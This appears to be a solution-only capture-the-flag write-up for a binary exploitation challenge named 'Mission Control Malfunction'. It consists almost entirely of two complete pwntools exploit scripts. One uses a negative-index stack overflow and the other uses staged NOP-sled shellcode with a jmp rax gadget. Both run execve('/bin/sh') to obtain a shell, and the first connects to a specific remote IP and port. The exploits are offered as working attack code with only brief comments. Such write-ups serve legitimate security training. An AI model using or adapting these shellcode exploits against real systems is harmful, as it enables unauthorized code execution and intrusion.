Mission Control Malfunction

#shellcode#buffer-overflow#solution-only

Contents

Analysis and Steps

This challenge have no difference with handoff from picoCTF 2025 in terms of techniques and binary structure.

Solution 1

#!/usr/bin/env python3

from pwn import *

elf = ELF("./handoff_patched")

context.binary = elf
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
b vuln
b *0x4013d0
b *0x4013ac
c
"""

def conn():
    if args.REMOTE:
        r = remote("34.66.146.178", 7587)
    elif args.GDB:
        r = gdb.debug([elf.path], gdbscript=dbginit)
    else:
        r = process([elf.path])
    return r


def main():
    r = conn()

    # a readable writable address for "/bin/sh\0"
    binsh = 0x404048

    # gadget from God
    jmp_rax = 0x4011ae

    # shellcode (I tried my best to make it only 40 bytes long ;) )
    #     read(stdin, binsh, 8);
    #     execve(binsh, NULL, NULL);
    shellcode = asm(f"""
                    xor rdi, rdi;
                    mov rsi, {binsh};
                    mov rdx, 8;
                    xor rax, rax;
                    syscall;
                    mov rdi, rsi;
                    xor rsi, rsi;
                    xor rdx, rdx;
                    mov rax, 59;
                    syscall;
                    """)

    # Send a message to a recipient
    r.sendlineafter(b'Exit mission control', b'2')

    # negative index bug, unpredictable things will happen if the index is negative
    # fgets will buffer overflow its own stack
    r.sendlineafter(b'send a transmission to?', b'-1')

    # write shellcode on stack and execute 
    # rax is pointing at the beginning of shellcode 
    # (the shellcode must be less than or equal to 40 bytes)
    payload = shellcode + p64(jmp_rax)

    # send the payload
    r.sendlineafter(b'like to send them?', payload)

    # SYS_read is invoked. write /bin/sh on 0x404048
    r.sendline(b'/bin/sh\0')

    # SYS_execve is invoked and enjoy the shell privilege
    r.interactive()



if __name__ == "__main__":
    main()

Solution 2

#!/usr/bin/env python3

from pwn import *

elf = ELF("./handoff_patched")

context.binary = elf
context.arch = "amd64"
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
b *0x4013e8
c
"""

def conn():
    if args.REMOTE:
        r = remote("addr", 1337)
    elif args.GDB:
        r = gdb.debug([elf.path], gdbscript=dbginit)
    else:
        r = process([elf.path])
    return r



nop = lambda n : b'\x90' * n

def main():
    r = conn()

    # gadget from God
    jmp_rax = 0x4011ae

    # shellcode catching net
    shellcode_catch = nop(20) 

    # shellcode jump to execve
    shellcode_jmp    = asm("""
                           sub rax, 0x2d4 - 8;
                           jmp rax;
                           """)

    # shellcode execve
    shellcode_execve = asm("""
                           mov rdi, rax;
                           add rdi, 50;
                           xor rsi, rsi;
                           xor rdx, rdx;
                           mov rax, 59
                           syscall;
                           """).ljust(50, b'\x90') + b'/bin/sh\0'


    #print(shellcode_jmp)
    #exit()

    # payload
    # because 8th byte will be replaced with 0, we need to shift the shellcode a little bit 
    payload_jmp = (nop(3) + shellcode_jmp).ljust(20, b'\x90') + p64(jmp_rax)



    # Name doesn't really matter a lot, fill up with nop just in case 
    r.recvuntil(b'Exit mission control')
    r.sendline(b'1')

    r.recvuntil(b"What's the new crew member's callsign: ")
    r.sendline(shellcode_catch)



    # Write shellcode on stack
    r.recvuntil(b'Exit mission control')
    r.sendline(b'2')

    r.recvuntil(b'Which crew member would you like to send a transmission to?')
    r.sendline(b'0')

    r.recvuntil(b'What transmission would you like to send them?')
    r.sendline(shellcode_execve)



    # jump to beginning of feedback and execute
    r.recvuntil(b'Exit mission control')
    r.sendline(b'3')
    r.recvuntil(b'Thank you for using mission control! If you could take a second to write a quick mission report, we would really appreciate it: ')
    r.sendline(payload_jmp)


    # enjoy the shell
    r.interactive()



if __name__ == "__main__":
    main()